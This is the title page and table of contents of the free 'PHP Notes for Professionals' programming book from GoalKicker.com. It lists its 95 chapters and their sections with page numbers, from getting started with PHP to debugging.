PHP

Notes for Professionals PHP

Notes for Professionals

GoalKicker.com

Free Programming Books

Disclaimer

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not aliated with ocial PHP group(s) or company(s).

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the property of their respective owners

400+ pages

of professional hints and tricks

Contents

About ....................................................................................................................................................
............................... 1

Chapter 1: Getting started with

PHP ................................................................................................................... 2

Section 1.1: HTML output from web

server .................................................................................................................. 2

Section 1.2: Hello,

World! ............................................................................................................................................... 3

Section 1.3: Non-HTML output from web

server ........................................................................................................ 3

Section 1.4: PHP built-in

server ..................................................................................................................................... 5

Section 1.5: PHP

CLI .......................................................................................................................................................
5

Section 1.6: Instruction

Separation ............................................................................................................................... 6

Section 1.7: PHP

Tags .................................................................................................................................................... 7

Chapter 2:
Variables ................................................................................................................................................
.... 9

Section 2.1: Accessing A Variable Dynamically By Name (Variable

variables) ...................................................... 9

Section 2.2: Data

Types .............................................................................................................................................. 10

Section 2.3: Global variable best

practices ............................................................................................................... 13

Section 2.4: Default values of uninitialized

variables .............................................................................................. 14

Section 2.5: Variable Value Truthiness and Identical

Operator ............................................................................. 15

Chapter 3: Variable
Scope ..................................................................................................................................... 18

Section 3.1: Superglobal

variables ............................................................................................................................. 18

Section 3.2: Static properties and

variables ............................................................................................................. 18

Section 3.3: User-defined global

variables ............................................................................................................... 19

Chapter 4: Superglobal Variables

PHP ........................................................................................................... 21

Section 4.1: Suberglobals

explained .......................................................................................................................... 21

Section 4.2: PHP5

SuperGlobals ................................................................................................................................. 28

Chapter 5: Outputting the Value of a

Variable .......................................................................................... 32
Section 5.1: echo and
print .......................................................................................................................................... 32

Section 5.2: Outputting a structured view of arrays and

objects .......................................................................... 33

Section 5.3: String concatenation with

echo ............................................................................................................. 35

Section 5.4: printf vs

sprintf ........................................................................................................................................ 36

Section 5.5: Outputting large

integers ...................................................................................................................... 36

Section 5.6: Output a Multidimensional Array with index and value and print into the
table ............................. 37

Chapter 6:
Constants ..............................................................................................................................................
.. 39

Section 6.1: Defining

constants ................................................................................................................................... 39

Section 6.2: Class

Constants ...................................................................................................................................... 40

Section 6.3: Checking if constant is

defined ............................................................................................................. 40

Section 6.4: Using

constants ...................................................................................................................................... 42

Section 6.5: Constant

arrays ...................................................................................................................................... 42

Chapter 7: Magic
Constants .................................................................................................................................. 43

Section 7.1: Dierence between __FUNCTION__ and

__METHOD__ ................................................................. 43

Section 7.2: Dierence between __CLASS__, get_class() and

get_called_class() ........................................... 43

Section 7.3: File & Directory

Constants ..................................................................................................................... 44

Chapter 8:
Comments .............................................................................................................................................
. 45

Section 8.1: Single Line

Comments ............................................................................................................................ 45

Section 8.2: Multi Line

Comments .............................................................................................................................. 45

Chapter 9:
Types .....................................................................................................................................................
.... 46

Section 9.1: Type

Comparison .................................................................................................................................... 46

Section 9.2:
Boolean .................................................................................................................................................
... 46

Section 9.3:
Float ......................................................................................................................................................
... 47

Section 9.4:
Strings ...................................................................................................................................................
... 48

Section 9.5:
Callable .................................................................................................................................................
... 50

Section 9.6:
Resources ..............................................................................................................................................
.. 50

Section 9.7: Type

Casting ........................................................................................................................................... 51

Section 9.8: Type

Juggling ......................................................................................................................................... 51

Section 9.9:
Null .......................................................................................................................................................
.... 52

Section 9.10:
Integers .................................................................................................................................................
. 52

Chapter 10:
Operators ..............................................................................................................................................
54

Section 10.1: Null Coalescing Operator

(??) .............................................................................................................. 54

Section 10.2: Spaceship Operator

(<=>) .................................................................................................................... 55

Section 10.3: Execution Operator

(``) .......................................................................................................................... 55

Section 10.4: Incrementing (++) and Decrementing Operators

(--) ....................................................................... 55

Section 10.5: Ternary Operator

(?:) ........................................................................................................................... 56

Section 10.6: Logical Operators (&&/AND and

||/OR) ............................................................................................. 57

Section 10.7: String Operators (.

and .=) .................................................................................................................... 57

Section 10.8: Object and Class

Operators ................................................................................................................. 57

Section 10.9: Combined Assignment (+=

etc) ........................................................................................................... 59

Section 10.10: Altering operator precedence (with

parentheses) ........................................................................... 59

Section 10.11: Basic Assignment

(=) ............................................................................................................................ 60

Section 10.12:
Association ............................................................................................................................................
60
Section 10.13: Comparison
Operators ........................................................................................................................ 60

Section 10.14: Bitwise

Operators ................................................................................................................................. 62

Section 10.15: instanceof (type

operator) ................................................................................................................. 64

Chapter 11:
References ............................................................................................................................................
67

Section 11.1: Assign by

Reference ............................................................................................................................... 67

Section 11.2: Return by

Reference .............................................................................................................................. 67

Section 11.3: Pass by

Reference ................................................................................................................................. 68

Chapter 12:
Arrays ....................................................................................................................................................
.. 71

Section 12.1: Initializing an

Array ................................................................................................................................ 71

Section 12.2: Check if key

exists ................................................................................................................................. 73

Section 12.3: Validating the array

type ..................................................................................................................... 74

Section 12.4: Creating an array of

variables ............................................................................................................ 74

Section 12.5: Checking if a value exists in

array ....................................................................................................... 74

Section 12.6: ArrayAccess and Iterator

Interfaces ................................................................................................... 75

Chapter 13: Array

iteration .................................................................................................................................... 79
Section 13.1: Iterating multiple arrays
together ........................................................................................................ 79

Section 13.2: Using an incremental

index .................................................................................................................. 80

Section 13.3: Using internal array

pointers ............................................................................................................... 80

Section 13.4: Using

foreach ......................................................................................................................................... 81

Section 13.5: Using ArrayObject

Iterator ................................................................................................................... 83

Chapter 14: Executing Upon an

Array .............................................................................................................. 84

Section 14.1: Applying a function to each element of an

array .............................................................................. 84

Section 14.2: Split array into

chunks .......................................................................................................................... 85

Section 14.3: Imploding an array into

string ............................................................................................................. 86

Section 14.4: "Destructuring" arrays using

list() ....................................................................................................... 86

Section 14.5:
array_reduce .........................................................................................................................................
86

Section 14.6: Push a Value on an

Array ..................................................................................................................... 87

Chapter 15: Manipulating an

Array .................................................................................................................... 89

Section 15.1: Filtering an

array .................................................................................................................................... 89

Section 15.2: Removing elements from an

array ..................................................................................................... 90

Section 15.3: Sorting an

Array .................................................................................................................................... 91

Section 15.4: Whitelist only some array

keys ........................................................................................................... 96

Section 15.5: Adding element to start of

array ......................................................................................................... 96

Section 15.6: Exchange values with

keys ................................................................................................................... 97

Section 15.7: Merge two arrays into one

array ........................................................................................................ 97

Chapter 16: Processing Multiple Arrays

Together ..................................................................................... 99

Section 16.1: Array

intersection ................................................................................................................................... 99

Section 16.2: Merge or concatenate

arrays .............................................................................................................. 99

Section 16.3: Changing a multidimensional array to associative

array .............................................................. 100

Section 16.4: Combining two arrays (keys from one, values from
another) ...................................................... 100

Chapter 17: Datetime

Class ................................................................................................................................. 102

Section 17.1: Create Immutable version of DateTime from Mutable prior PHP
5.6 ............................................ 102

Section 17.2: Add or Subtract Date

Intervals .......................................................................................................... 102

Section 17.3:
getTimestamp .....................................................................................................................................
102

Section 17.4:
setDate .................................................................................................................................................
103

Section 17.5: Create DateTime from custom

format ............................................................................................. 103

Section 17.6: Printing

DateTimes .............................................................................................................................. 103

Chapter 18: Working with Dates and

Time .................................................................................................. 105

Section 18.1: Getting the dierence between two dates /

times .......................................................................... 105

Section 18.2: Convert a date into another

format ................................................................................................. 105

Section 18.3: Parse English date descriptions into a Date

format ........................................................................ 107

Section 18.4: Using Predefined Constants for Date

Format ................................................................................. 107

Chapter 19: Control

Structures .......................................................................................................................... 109

Section 19.1: if
else .....................................................................................................................................................
109

Section 19.2: Alternative syntax for control

structures .......................................................................................... 109

Section 19.3:
while .....................................................................................................................................................
. 109

Section 19.4: do-

while ................................................................................................................................................
110

Section 19.5:
goto ......................................................................................................................................................
110

Section 19.6:
declare ..................................................................................................................................................
110

Section 19.7: include &

require ................................................................................................................................. 111

Section 19.8:
return ....................................................................................................................................................
112

Section 19.9:
for .........................................................................................................................................................
112

Section 19.10:
foreach ................................................................................................................................................
113

Section 19.11: if elseif

else .......................................................................................................................................... 113

Section 19.12:
if ...........................................................................................................................................................
114

Section 19.13:
switch ...................................................................................................................................................
114

Chapter 20:
Loops ....................................................................................................................................................
116

Section 20.1:
continue ...............................................................................................................................................
116

Section 20.2:
break ...................................................................................................................................................
117

Section 20.3:
foreach ................................................................................................................................................
118

Section 20.4:
do...while ..............................................................................................................................................
118

Section 20.5:
for ........................................................................................................................................................
119

Section 20.6:
while .....................................................................................................................................................
120

Chapter 21:
Functions .............................................................................................................................................
121

Section 21.1: Variable-length argument

lists ........................................................................................................... 121

Section 21.2: Optional

Parameters .......................................................................................................................... 122

Section 21.3: Passing Arguments by

Reference ..................................................................................................... 123

Section 21.4: Basic Function

Usage ......................................................................................................................... 124

Section 21.5: Function

Scope .................................................................................................................................... 124

Chapter 22: Functional

Programming ............................................................................................................ 125

Section 22.1:
Closures ................................................................................................................................................
125

Section 22.2: Assignment to

variables .................................................................................................................... 126

Section 22.3: Objects as a

function ......................................................................................................................... 126

Section 22.4: Using outside

variables ..................................................................................................................... 127

Section 22.5: Anonymous

function .......................................................................................................................... 127

Section 22.6: Pure

functions ..................................................................................................................................... 128
Section 22.7: Common functional methods in
PHP ............................................................................................... 128

Section 22.8: Using built-in functions as

callbacks ................................................................................................ 129

Section 22.9:
Scope ...................................................................................................................................................
129

Section 22.10: Passing a callback function as a

parameter ................................................................................. 129

Chapter 23: Alternative Syntax for Control Structures ........................................................................

131

Section 23.1: Alternative if/else

statement ............................................................................................................. 131

Section 23.2: Alternative for

statement .................................................................................................................. 131

Section 23.3: Alternative while

statement ............................................................................................................... 131

Section 23.4: Alternative foreach

statement .......................................................................................................... 131

Section 23.5: Alternative switch

statement ............................................................................................................. 132

Chapter 24: String

formatting .......................................................................................................................... 133

Section 24.1: String

interpolation ............................................................................................................................. 133

Section 24.2: Extracting/replacing

substrings ....................................................................................................... 134

Chapter 25: String

Parsing ................................................................................................................................... 136

Section 25.1: Splitting a string by

separators ......................................................................................................... 136

Section 25.2:
Substring .............................................................................................................................................
136

Section 25.3: Searching a substring with

strpos .................................................................................................... 138

Section 25.4: Parsing string using regular

expressions ......................................................................................... 139

Chapter 26: Classes and

Objects ...................................................................................................................... 140

Section 26.1: Class

Constants ................................................................................................................................... 140

Section 26.2: Abstract

Classes ................................................................................................................................. 142

Section 26.3: Late static

binding .............................................................................................................................. 144

Section 26.4: Namespacing and

Autoloading ........................................................................................................ 145

Section 26.5: Method and Property

Visibility .......................................................................................................... 147

Section 26.6:
Interfaces ............................................................................................................................................
149

Section 26.7: Final

Keyword ..................................................................................................................................... 152

Section 26.8:
Autoloading .........................................................................................................................................
153

Section 26.9: Calling a parent constructor when instantiating a

child ................................................................ 154

Section 26.10: Dynamic

Binding ............................................................................................................................... 155

Section 26.11: $this, self and static plus the

singleton ............................................................................................ 156
Section 26.12: Defining a Basic
Class ...................................................................................................................... 159

Section 26.13: Anonymous

Classes .......................................................................................................................... 160

Chapter 27:
Namespaces .....................................................................................................................................
162

Section 27.1: Declaring

namespaces ....................................................................................................................... 162

Section 27.2: Referencing a class or function in a

namespace ........................................................................... 162

Section 27.3: Declaring sub-

namespaces ............................................................................................................... 163

Section 27.4: What are

Namespaces? .................................................................................................................... 164

Chapter 28:
Sessions ...............................................................................................................................................
165

Section 28.1: session_start()

Options ...................................................................................................................... 165

Section 28.2: Session

Locking .................................................................................................................................. 165

Section 28.3: Manipulating session

data ................................................................................................................. 166

Section 28.4: Destroy an entire

session .................................................................................................................. 166

Section 28.5: Safe Session Start With no

Errors ..................................................................................................... 167

Section 28.6: Session

name ...................................................................................................................................... 167

Chapter 29:
Cookies .................................................................................................................................................
169
Section 29.1: Modifying a
Cookie ............................................................................................................................. 169

Section 29.2: Setting a

Cookie ................................................................................................................................. 169

Section 29.3: Checking if a Cookie is

Set ................................................................................................................ 170

Section 29.4: Removing a

Cookie ............................................................................................................................ 170

Section 29.5: Retrieving a

Cookie ............................................................................................................................ 170

Chapter 30: Output

Buering ............................................................................................................................ 171

Section 30.1: Basic usage getting content between buers and

clearing .......................................................... 171

Section 30.2: Processing the buer via a

callback ................................................................................................ 171

Section 30.3: Nested output

buers ........................................................................................................................ 172

Section 30.4: Running output buer before any

content ..................................................................................... 173

Section 30.5: Stream output to

client ...................................................................................................................... 174

Section 30.6: Using Output buer to store contents in a file, useful for reports, invoices
etc .......................... 174

Section 30.7: Typical usage and reasons for using

ob_start ............................................................................... 174

Section 30.8: Capturing the output buer to re-use

later .................................................................................... 175

Chapter 31:
JSON ......................................................................................................................................................
177

Section 31.1: Decoding a JSON

string ...................................................................................................................... 177

Section 31.2: Encoding a JSON

string ...................................................................................................................... 180

Section 31.3: Debugging JSON

errors ..................................................................................................................... 183

Section 31.4: Using JsonSerializable in an

Object .................................................................................................. 184

Section 31.5: Header json and the returned

response ........................................................................................... 185

Chapter 32: SOAP

Client ........................................................................................................................................ 187

Section 32.1: WSDL

Mode ......................................................................................................................................... 187

Section 32.2: Non-WSDL

Mode ................................................................................................................................ 187

Section 32.3:
Classmaps ...........................................................................................................................................
187

Section 32.4: Tracing SOAP request and

response ............................................................................................... 188

Chapter 33: Using cURL in

PHP .......................................................................................................................... 190

Section 33.1: Basic Usage (GET

Requests) .............................................................................................................. 190

Section 33.2: POST

Requests ................................................................................................................................... 190

Section 33.3: Using

Cookies ...................................................................................................................................... 191

Section 33.4: Using multi_curl to make multiple POST

requests ......................................................................... 192

Section 33.5: Sending multi-dimensional data and multiple files with CurlFile in one
request ......................... 193
Section 33.6: Creating and sending a request with a custom
method ................................................................ 196

Section 33.7: Get and Set custom http headers in

php ......................................................................................... 196

Chapter 34:
Reflection ...........................................................................................................................................
198

Section 34.1: Feature detection of classes or

objects ............................................................................................ 198

Section 34.2: Testing private/protected

methods ................................................................................................. 198

Section 34.3: Accessing private and protected member

variables ..................................................................... 200

Chapter 35: Dependency

Injection .................................................................................................................. 202

Section 35.1: Constructor

Injection ........................................................................................................................... 202

Section 35.2: Setter

Injection .................................................................................................................................... 202

Section 35.3: Container

Injection ............................................................................................................................. 204

Chapter 36:
XML .......................................................................................................................................................
. 205

Section 36.1: Create a XML using

DomDocument .................................................................................................. 205

Section 36.2: Read a XML document with

DOMDocument ................................................................................... 206

Section 36.3: Leveraging XML with PHP's SimpleXML

Library .............................................................................. 207

Section 36.4: Create an XML file using

XMLWriter ................................................................................................. 209
Section 36.5: Read a XML document with
SimpleXML .......................................................................................... 210

Chapter 37:
SimpleXML ..........................................................................................................................................
212

Section 37.1: Loading XML data into

simplexml ..................................................................................................... 212

Chapter 38: Parsing

HTML ................................................................................................................................... 213

Section 38.1: Parsing HTML from a

string ............................................................................................................... 213

Section 38.2: Using

XPath ......................................................................................................................................... 213

Section 38.3:
SimpleXML ...........................................................................................................................................
213

Chapter 39: Regular Expressions (regexp/PCRE) ....................................................................................

215

Section 39.1: Global RegExp

match ......................................................................................................................... 215

Section 39.2: String matching with regular

expressions ....................................................................................... 216

Section 39.3: Split string into array by a regular

expression ................................................................................ 217

Section 39.4: String replacing with regular

expression ......................................................................................... 217

Section 39.5: String replace with

callback .............................................................................................................. 217

Chapter 40:
Traits ....................................................................................................................................................
219

Section 40.1: What is a

Trait? ................................................................................................................................... 219
Section 40.2: Traits to facilitate horizontal code
reuse ......................................................................................... 220

Section 40.3: Conflict

Resolution ............................................................................................................................. 221

Section 40.4: Implementing a Singleton using

Traits ............................................................................................ 222

Section 40.5: Traits to keep classes

clean .............................................................................................................. 223

Section 40.6: Multiple Traits

Usage ......................................................................................................................... 224

Section 40.7: Changing Method

Visibility ................................................................................................................ 224

Chapter 41: Composer Dependency

Manager .......................................................................................... 226

Section 41.1: What is

Composer? .............................................................................................................................. 226

Section 41.2: Autoloading with

Composer .............................................................................................................. 227

Section 41.3: Dierence between 'composer install' and 'composer

update' ..................................................... 227

Section 41.4: Composer Available

Commands ....................................................................................................... 228

Section 41.5: Benefits of Using

Composer .............................................................................................................. 229

Section 41.6:
Installation ............................................................................................................................................
230

Chapter 42: Magic

Methods ................................................................................................................................ 231

Section 42.1: __call() and

__callStatic() ................................................................................................................. 231

Section 42.2: __get(), __set(), __isset() and

__unset() ...................................................................................... 232

Section 42.3: __construct() and

__destruct() ....................................................................................................... 233

Section 42.4:
__toString() ........................................................................................................................................
234

Section 42.5:
__clone() ............................................................................................................................................
235

Section 42.6:
__invoke() ...........................................................................................................................................
235

Section 42.7: __sleep() and

__wakeup() ............................................................................................................... 236

Section 42.8:
__debugInfo() ....................................................................................................................................
236

Chapter 43: File

handling ..................................................................................................................................... 238

Section 43.1: Convenience

functions ........................................................................................................................ 238

Section 43.2: Deleting files and

directories ............................................................................................................. 240

Section 43.3: Getting file

information ...................................................................................................................... 240

Section 43.4: Stream-based file

IO .......................................................................................................................... 242

Section 43.5: Moving and Copying files and

directories ....................................................................................... 244

Section 43.6: Minimize memory usage when dealing with large

files ................................................................. 245

Chapter 44:
Streams ..............................................................................................................................................
246

Section 44.1: Registering a stream

wrapper ........................................................................................................... 246

Chapter 45: Type

hinting ..................................................................................................................................... 248

Section 45.1: Type hinting classes and

interfaces .................................................................................................. 248

Section 45.2: Type hinting scalar types, arrays and

callables ............................................................................. 249

Section 45.3: Nullable type

hints .............................................................................................................................. 250

Section 45.4: Type hinting generic

objects ............................................................................................................. 251

Section 45.5: Type Hinting No

Return(Void) .......................................................................................................... 252

Chapter 46: Filters & Filter

Functions ............................................................................................................ 253

Section 46.1: Validating Boolean

Values ................................................................................................................. 253

Section 46.2: Validating A Number Is A

Float ......................................................................................................... 253

Section 46.3: Validate A MAC

Address .................................................................................................................... 254

Section 46.4: Sanitze Email

Addresses .................................................................................................................... 254

Section 46.5: Sanitize

Integers ................................................................................................................................. 255

Section 46.6: Sanitize

URLs ...................................................................................................................................... 255

Section 46.7: Validate Email

Address ...................................................................................................................... 256
Section 46.8: Validating A Value Is An
Integer ....................................................................................................... 256

Section 46.9: Validating An Integer Falls In A

Range ............................................................................................ 257

Section 46.10: Validate a

URL .................................................................................................................................. 257

Section 46.11: Sanitize

Floats .................................................................................................................................... 259

Section 46.12: Validate IP

Addresses ....................................................................................................................... 261

Section 46.13: Sanitize

filters ..................................................................................................................................... 262

Chapter 47:
Generators ........................................................................................................................................
263

Section 47.1: The Yield

Keyword .............................................................................................................................. 263

Section 47.2: Reading a large file with a

generator .............................................................................................. 264

Section 47.3: Why use a

generator? ........................................................................................................................ 264

Section 47.4: Using the send()-function to pass values to a

generator .............................................................. 265

Chapter 48: UTF-

8 ................................................................................................................................................... 267

Section 48.1:
Input .....................................................................................................................................................
. 267

Section 48.2:
Output ..................................................................................................................................................
267

Section 48.3: Data Storage and

Access .................................................................................................................. 267
Chapter 49: Unicode Support in
PHP ............................................................................................................. 269

Section 49.1: Converting Unicode characters to “\uxxxx” format using

PHP ...................................................... 269

Section 49.2: Converting Unicode characters to their numeric value and/or HTML entities using PHP

..............................................................................................................................................................
............... 269

Section 49.3: Intl extention for Unicode

support .................................................................................................... 271

Chapter 50:
URLs ......................................................................................................................................................
272

Section 50.1: Parsing a

URL ...................................................................................................................................... 272

Section 50.2: Build an URL-encoded query string from an

array ....................................................................... 272

Section 50.3: Redirecting to another

URL ............................................................................................................... 273

Chapter 51: How to break down an

URL ....................................................................................................... 275

Section 51.1: Using

parse_url() ................................................................................................................................. 275

Section 51.2: Using

explode() ................................................................................................................................... 276

Section 51.3: Using

basename() ............................................................................................................................... 276

Chapter 52: Object

Serialization ....................................................................................................................... 278

Section 52.1: Serialize /

Unserialize ......................................................................................................................... 278

Section 52.2: The Serializable

interface .................................................................................................................. 278
Chapter 53:
Serialization ......................................................................................................................................
280

Section 53.1: Serialization of dierent

types ........................................................................................................... 280

Section 53.2: Security Issues with

unserialize ......................................................................................................... 281

Chapter 54:
Closure ................................................................................................................................................
284

Section 54.1: Basic usage of a

closure .................................................................................................................... 284

Section 54.2: Using external

variables .................................................................................................................... 284

Section 54.3: Basic closure

binding ......................................................................................................................... 285

Section 54.4: Closure binding and

scope ................................................................................................................ 285

Section 54.5: Binding a closure for one

call ........................................................................................................... 287

Section 54.6: Use closures to implement observer

pattern .................................................................................. 287

Chapter 55: Reading Request

Data ................................................................................................................ 290

Section 55.1: Reading raw POST

data ..................................................................................................................... 290

Section 55.2: Reading POST

data ............................................................................................................................ 290

Section 55.3: Reading GET

data .............................................................................................................................. 290

Section 55.4: Handling file upload

errors ............................................................................................................... 291
Section 55.5: Passing arrays by
POST .................................................................................................................... 291

Section 55.6: Uploading files with HTTP

PUT ......................................................................................................... 293

Chapter 56: Type juggling and Non-Strict Comparison Issues ......................................................... 294

Section 56.1: What is Type

Juggling? ...................................................................................................................... 294

Section 56.2: Reading from a

file ............................................................................................................................ 294

Section 56.3: Switch

surprises .................................................................................................................................. 295

Section 56.4: Strict

typing ......................................................................................................................................... 296

Chapter 57:
Sockets ................................................................................................................................................
298

Section 57.1: TCP client

socket ................................................................................................................................. 298

Section 57.2: TCP server

socket ............................................................................................................................... 299

Section 57.3: UDP server

socket .............................................................................................................................. 299

Section 57.4: Handling socket

errors ...................................................................................................................... 300

Chapter 58:
PDO .......................................................................................................................................................
. 301

Section 58.1: Preventing SQL injection with Parameterized

Queries .................................................................... 301

Section 58.2: Basic PDO Connection and

Retrieval ............................................................................................... 302

Section 58.3: Database Transactions with

PDO ..................................................................................................... 303

Section 58.4: PDO: connecting to MySQL/MariaDB

server .................................................................................. 305

Section 58.5: PDO: Get number of aected rows by a

query .............................................................................. 306

Section 58.6:
PDO::lastInsertId() ...............................................................................................................................
306

Chapter 59: PHP

MySQLi ....................................................................................................................................... 308

Section 59.1: Close

connection ................................................................................................................................. 308

Section 59.2: MySQLi

connect .................................................................................................................................. 308

Section 59.3: Loop through MySQLi

results ............................................................................................................ 309

Section 59.4: Prepared statements in

MySQLi ....................................................................................................... 309

Section 59.5: Escaping

Strings ................................................................................................................................. 310

Section 59.6: Debugging SQL in

MySQLi ................................................................................................................ 311

Section 59.7: MySQLi

query ...................................................................................................................................... 311

Section 59.8: How to get data from a prepared

statement ................................................................................. 312

Section 59.9: MySQLi Insert

ID ................................................................................................................................. 314

Chapter 60:
SQLite3 ................................................................................................................................................
316

Section 60.1: SQLite3 Quickstart

Tutorial ................................................................................................................ 316

Section 60.2: Querying a

database ......................................................................................................................... 317

Section 60.3: Retrieving only one

result .................................................................................................................. 318

Chapter 61: Using

MongoDB ................................................................................................................................ 319

Section 61.1: Connect to

MongoDB .......................................................................................................................... 319

Section 61.2: Get multiple documents -

find() ......................................................................................................... 319

Section 61.3: Get one document -

findOne() ........................................................................................................... 319

Section 61.4: Insert

document .................................................................................................................................. 319

Section 61.5: Update a

document ............................................................................................................................ 319

Section 61.6: Delete a

document .............................................................................................................................. 320

Chapter 62: mongo-

php ........................................................................................................................................ 321

Section 62.1: Everything in between MongoDB and

Php ...................................................................................... 321

Chapter 63: Using Redis with

PHP .................................................................................................................... 324

Section 63.1: Connecting to a Redis

instance ......................................................................................................... 324

Section 63.2: Installing PHP Redis on

Ubuntu ......................................................................................................... 324

Section 63.3: Executing Redis commands in

PHP .................................................................................................. 324
Chapter 64: Sending
Email .................................................................................................................................. 325

Section 64.1: Sending Email - The basics, more details, and a full
example ....................................................... 325

Section 64.2: Sending HTML Email Using

mail() .................................................................................................... 327

Section 64.3: Sending Email With An Attachment Using

mail() ............................................................................ 328

Section 64.4: Sending Plain Text Email Using

PHPMailer ...................................................................................... 329

Section 64.5: Sending HTML Email Using

PHPMailer ............................................................................................. 330

Section 64.6: Sending Email With An Attachment Using

PHPMailer .................................................................... 331

Section 64.7: Sending Plain Text Email Using

Sendgrid ........................................................................................ 331

Section 64.8: Sending Email With An Attachment Using

Sendgrid ...................................................................... 332

Chapter 65: Using

SQLSRV .................................................................................................................................. 333

Section 65.1: Retrieving Error

Messages ................................................................................................................. 333

Section 65.2: Fetching Query

Results ...................................................................................................................... 333

Section 65.3: Creating a

Connection ....................................................................................................................... 334

Section 65.4: Making a Simple

Query ..................................................................................................................... 334

Section 65.5: Invoking a Stored

Procedure ............................................................................................................ 334

Section 65.6: Making a Parameterised

Query ........................................................................................................ 335
Chapter 66: Command Line Interface
(CLI) ................................................................................................. 336

Section 66.1: Handling Program

Options ................................................................................................................ 336

Section 66.2: Argument

Handling ............................................................................................................................ 337

Section 66.3: Input and Output

Handling ................................................................................................................ 338

Section 66.4: Return

Codes ...................................................................................................................................... 339

Section 66.5: Restrict script execution to command

line ...................................................................................... 339

Section 66.6: Behavioural dierences on the command

line ............................................................................... 339

Section 66.7: Running your

script ............................................................................................................................ 340

Section 66.8: Edge Cases of

getopt() ...................................................................................................................... 340

Section 66.9: Running built-in web

server ............................................................................................................... 341

Chapter 67:
Localization .......................................................................................................................................
343

Section 67.1: Localizing strings with

gettext() ......................................................................................................... 343

Chapter 68: Headers

Manipulation ................................................................................................................. 344

Section 68.1: Basic Setting of a

Header .................................................................................................................. 344

Chapter 69: Coding

Conventions ...................................................................................................................... 345

Section 69.1: PHP

Tags .............................................................................................................................................. 345

Chapter 70: Asynchronous

programming ................................................................................................... 346

Section 70.1: Advantages of

Generators ................................................................................................................. 346

Section 70.2: Using Icicle event

loop ....................................................................................................................... 346

Section 70.3: Spawning non-blocking processes with

proc_open() .................................................................... 347

Section 70.4: Reading serial port with Event and

DIO ........................................................................................... 348

Section 70.5: HTTP Client Based on Event

Extension ............................................................................................ 350

Section 70.6: HTTP Client Based on Ev

Extension .................................................................................................. 353

Section 70.7: Using Amp event

loop ........................................................................................................................ 357

Chapter 71: How to Detect Client IP

Address ............................................................................................. 359

Section 71.1: Proper use of

HTTP_X_FORWARDED_FOR ..................................................................................... 359

Chapter 72: Create PDF files in

PHP ................................................................................................................ 361

Section 72.1: Getting Started with

PDFlib ................................................................................................................ 361

Chapter 73: YAML in

PHP ....................................................................................................................................... 362

Section 73.1: Installing YAML

extension ................................................................................................................... 362

Section 73.2: Using YAML to store application

configuration ............................................................................... 362
Chapter 74: Image Processing with
GD ........................................................................................................ 364

Section 74.1: Image

output ....................................................................................................................................... 364

Section 74.2: Creating an

image ............................................................................................................................. 365

Section 74.3: Image Cropping and

Resizing ........................................................................................................... 366

Chapter 75:
Imagick ................................................................................................................................................
369

Section 75.1: First

Steps ............................................................................................................................................. 369

Section 75.2: Convert Image into base64

String .................................................................................................... 369

Chapter 76: SOAP

Server ...................................................................................................................................... 371

Section 76.1: Basic SOAP

Server ............................................................................................................................... 371

Chapter 77: Machine

learning ............................................................................................................................ 372

Section 77.1: Classification using PHP-

ML ............................................................................................................... 372

Section 77.2:
Regression ...........................................................................................................................................
373

Section 77.3:
Clustering .............................................................................................................................................
375

Chapter 78:
Cache ....................................................................................................................................................
377

Section 78.1: Caching using

memcache .................................................................................................................. 377

Section 78.2: Cache Using APC

Cache .................................................................................................................... 378

Chapter 79: Autoloading

Primer ....................................................................................................................... 380

Section 79.1: Autoloading as part of a framework

solution .................................................................................. 380

Section 79.2: Inline class definition, no loading

required ...................................................................................... 380

Section 79.3: Manual class loading with

require .................................................................................................... 381

Section 79.4: Autoloading replaces manual class definition

loading .................................................................. 381

Section 79.5: Autoloading with

Composer .............................................................................................................. 382

Chapter 80: SPL data

structures ...................................................................................................................... 383

Section 80.1:
SplFixedArray ......................................................................................................................................
383

Chapter 81:
IMAP .....................................................................................................................................................
.. 387

Section 81.1: Connecting to a

mailbox ..................................................................................................................... 387

Section 81.2: Install IMAP

extension ......................................................................................................................... 388

Section 81.3: List all folders in the

mailbox ............................................................................................................. 388

Section 81.4: Finding messages in the

mailbox ...................................................................................................... 389

Chapter 82: HTTP

Authentication ..................................................................................................................... 391

Section 82.1: Simple

authenticate ............................................................................................................................ 391

Chapter 83:
WebSockets .......................................................................................................................................
392

Section 83.1: Simple TCP/IP

server .......................................................................................................................... 392

Chapter 84: BC Math (Binary

Calculator) .................................................................................................... 394

Section 84.1: Using bcmath to read/write a binary long on 32-bit

system ........................................................ 394

Section 84.2: Comparison between BCMath and float arithmetic

operations ................................................... 395

Chapter 85: Docker

deployment ...................................................................................................................... 397

Section 85.1: Get docker image for

php .................................................................................................................. 397

Section 85.2: Writing

dockerfile ............................................................................................................................... 397

Section 85.3: Building

image .................................................................................................................................... 397

Section 85.4: Starting application

container .......................................................................................................... 398

Chapter 86:
APCu ......................................................................................................................................................
399

Section 86.1: Iterating over

Entries .......................................................................................................................... 399

Section 86.2: Simple storage and

retrieval ............................................................................................................. 399

Section 86.3: Store

information ............................................................................................................................... 399

Chapter 87: PHP Built in

server ......................................................................................................................... 400

Section 87.1: Running the built in

server .................................................................................................................. 400

Section 87.2: built in server with specific directory and router

script .................................................................. 400

Chapter 88:
PSR ........................................................................................................................................................
401

Section 88.1: PSR-4:

Autoloader ............................................................................................................................... 401

Section 88.2: PSR-1: Basic Coding

Standard ........................................................................................................... 402

Chapter 89:
PHPDoc ................................................................................................................................................
403

Section 89.1: Describing a

variable .......................................................................................................................... 403

Section 89.2: Adding metadata to

functions .......................................................................................................... 403

Section 89.3: Describing

parameters ...................................................................................................................... 404

Section 89.4:
Collections ...........................................................................................................................................
405

Section 89.5: Adding metadata to

files ................................................................................................................... 406

Section 89.6: Inheriting metadata from parent

structures ................................................................................... 406

Chapter 90: Design

Patterns .............................................................................................................................. 408
Section 90.1: Method Chaining in
PHP ..................................................................................................................... 408

Chapter 91: Compile PHP

Extensions ............................................................................................................... 410

Section 91.1: Compiling on

Linux ............................................................................................................................... 410

Chapter 92: Common

Errors ............................................................................................................................... 411

Section 92.1: Call fetch_assoc on

boolean ............................................................................................................. 411

Section 92.2: Unexpected

$end ............................................................................................................................... 411

Chapter 93: Compilation of Errors and Warnings ...................................................................................

413

Section 93.1: Parse error: syntax error, unexpected

T_PAAMAYIM_NEKUDOTAYIM ......................................... 413

Section 93.2: Notice: Undefined

index ..................................................................................................................... 413

Section 93.3: Warning: Cannot modify header information - headers already

sent ......................................... 413

Chapter 94: Exception Handling and Error Reporting ..........................................................................

415

Section 94.1: Setting error reporting and where to display

them ........................................................................ 415

Section 94.2: Logging fatal

errors ........................................................................................................................... 415

Chapter 95:
Debugging ..........................................................................................................................................
417

